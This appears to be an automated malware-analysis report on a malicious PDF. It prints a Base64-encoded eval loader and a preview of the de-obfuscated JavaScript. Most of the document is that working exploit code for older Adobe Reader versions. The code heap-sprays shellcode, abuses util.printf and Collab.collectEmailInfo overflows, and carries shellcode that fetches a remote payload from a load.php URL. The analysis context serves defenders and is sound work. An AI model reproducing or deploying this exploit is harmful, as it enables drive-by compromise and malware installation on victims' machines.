VRsTkRkV2RUY1ZabU5YSmtUa1pVVjI4NFJIUlNhMFJFVDBjMFRVODFOWE5tUWxCTlZ6VXpkMGQ1UUVSWE1VMTBWMGxKZHpVeVduZFhNblYwYjFZNFFrNDRhelpDZVROMVZ6RTBaRTFUVFhSWFNVbDNOVEphZDFjeWRYUnZWamhDVGpock5rSjVNM1ZYTVdKa1RWTk5kRmRKU1hjMU1scDNWekoxZEc5V09FSk9PR3MyUW5remRWY3hSR1JTTVVaelVrZFdkRTB4YTB0SGVXMWFjSGxJVG5wSlJYUlNUalZ6VFVaVVYyWm5WR0ZOTVc1M2IzRnJkREYyVlRaVmNsUlpWVTVVV0d3MVZsZE5OVzUzYjNGcmRERjJWWGRWY2xSeGJEVkVaRTAxWjFaWE5XNTNiM0ZyZERGMlZUWlZjbFJ4YkRWaVpGSXhWSEZYWmxSaFVtdEVSRTlITkUxbldUUlplalUxV1d3MVlYTm1aMVp6VW10RVJFOUhORTFuV1dKWmVqVm5jMUpKZVhOTlptZDBUVEZ1ZDI5eGEzUXhkbFYwVlhKVWNXdzFZV1JTTVZSR1Z6VXdVMEpXUjNReGRteG1RMGQ2V2xJeFJuTm1hMEIzVnpWeE5teEdkRnBWWDNsMGJEVTFjMUpyUWpsVGVWazJjSGxRV21ZMVVFdFhTVmwwUmpoUVMxZEpXWFJHT0hKa1RrWlViRmRIZVZaM01tdHNkMGxmVjNwR2JtUndTVUp4ZHpKQ1RYQnJhM1JOVGxSSWJGOUpTMk5KZVhOT01tSmhZMVJmUzFWSE5ITk9NVFZ6VGpKaVlXTlVYMHRWUnpSR2JEVm9XbmRIWkVKT09FZFdjRUpBZDFOQWFHWkNlVkIwVWs1VVZXZENNbFozT0hKQ1RqaEhWbkJDVUZKd2ExRnlkemg1Vm5keFFuQlRRbXRHTVhsdWQwSkhUbk5tTlhKeFVrSmtUVUpHVkd4M1NWOVhla1p1WkhCSk5VUk9SbFJaVnpVMWRHWlpTV3hzWTB0M1ZWbHJaRTVHVkZreEp5azc=");
                bpPFsDelxBgi=omKsIz2rRKRcLA(qIaB2i0Sh);
                eval(bpPFsDelxBgi);
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 3 (PDF /JS object 7) at offset 0x1163 4541 bytes
SHA-256: e9836c7d4aea18777b10cf5bd403414aec3e58ded22edaf108a88e2835e37b82
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
JSYV8iI=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6172%u6D73%u2E61%u6F63%u2F6D%u7073%u366C%u6C2F%u616F%u2E64%u6870%u0070"); var CrghWoIn=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+JSYV8iI.length;while(CrghWoIn.length<fg)CrghWoIn+=CrghWoIn;var nmbr=CrghWoIn.substring(0,fg);var stig=CrghWoIn.substring(0,CrghWoIn.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+JSYV8iI}var wn8WG="129"+"99999999"+"99999"+"9999"+"8888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",wn8WG);function V2mp7JpI() { var NPwtLGl2xIq = new Array(); function BtWYR(mAJrULeKRxA, bn0KgVaR) { while (mAJrULeKRxA.length*2<bn0KgVaR){mAJrULeKRxA += mAJrULeKRxA;} mAJrULeKRxA = mAJrULeKRxA.substring(0,bn0KgVaR/2); return mAJrULeKRxA; } function DjNopGKOiM() { var TfvN2ahTYsDvf = 0x0c0c0c0c; var cLspnPO = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u693F%u3D64%u7326%u6C70%u343D"); var FMj5ubHqGe = 0x400000; var DXwQwKyjXLm = cLspnPO.length * 2; var bn0KgVaR = FMj5ubHqGe - (DXwQwKyjXLm+0x38); var mAJrULeKRxA = unescape("%u9090%u9090"); mAJrULeKRxA = BtWYR(mAJrULeKRxA, bn0KgVaR); var mXyxCX = (TfvN2ahTYsDvf - 0x400000)/FMj5ubHqGe; for (var BCN4XlltqeZm=0;BCN4XlltqeZm<mXyxCX;BCN4XlltqeZm++) { NPwtLGl2xIq[BCN4XlltqeZm] = mAJrULeKRxA + cLspnPO; } } function Z97xC2Y() { var Jp0yRgvrdFpMm = app.viewerVersion.toString(); Jp0yRgvrdFpMm = Jp0yRgvrdFpMm.replace(/\D/g,""); var urIhpG = new Array(Jp0yRgvrdFpMm.charAt(0),Jp0yRgvrdFpMm.charAt(1),Jp0yRgvrdFpMm.charAt(2)); if ((urIhpG[0] == 8 && ((urIhpG[1] == 1 && urIhpG[2] < 2) || urIhpG[1] < 1)) || (urIhpG[0] == 7 && urIhpG[1] < 1) || (urIhpG[0] < 7)) { DjNopGKOiM(); var g18V85i0 = unescape("%u0c0c%u0c0c"); while(g18V85i0.length < 44952) g18V85i0 += g18V85i0; this.collabStore = Collab.collectEmailInfo({subj: "",msg: g18V85i0}); } } Z97xC2Y(); }

Open this report in the interactive analyzer, or submit your own file for analysis.